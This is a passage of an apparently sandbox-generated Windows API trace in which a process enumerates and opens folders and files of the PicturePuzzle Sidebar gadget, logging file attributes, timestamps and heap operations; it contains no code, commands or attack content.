[0090.075] GetLastError () returned 0x12 [0090.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ef88) returned 1 [0090.075] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ee80) returned 1 [0090.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.076] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.076] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.076] GetLastError () returned 0x12 [0090.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0090.077] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0090.077] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="")) returned 1 [0090.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.078] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.078] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.079] NtClose (Handle=0x180) returned 0x0 [0090.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0090.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0090.080] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0090.080] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.080] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa54a84, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa54a84, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc07b211c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2838 [0090.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ee80 [0090.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.082] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.082] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc082453c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc082453c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2858 [0090.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ef88 [0090.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.084] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8196b61f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8196b61f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0090.084] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2878 [0090.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320d70 [0090.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.085] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa7abe3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa7abe3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c74d1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.085] GetLastError () returned 0x12 [0090.086] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.086] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.086] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.086] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa54a84, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa54a84, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc07b211c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.086] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320e78 [0090.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.087] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.087] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.087] NtClose (Handle=0x180) returned 0x0 [0090.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1320e78) returned 1 [0090.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320e78 [0090.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1320f80 [0090.089] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0090.089] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.089] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.089] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321088 [0090.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2898 [0090.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321190 [0090.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.091] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.091] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0090.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f28b8 [0090.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321298 [0090.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9180) returned 0x132a698 [0090.093] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f28d8 [0090.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13213a0 [0090.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.095] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0090.095] GetLastError () returned 0x12 [0090.095] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.095] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.095] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.095] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13214a8 [0090.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a844fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.111] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.112] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.113] NtClose (Handle=0x180) returned 0x0 [0090.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13214a8) returned 1 [0090.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.114] RtlAllocateHeap 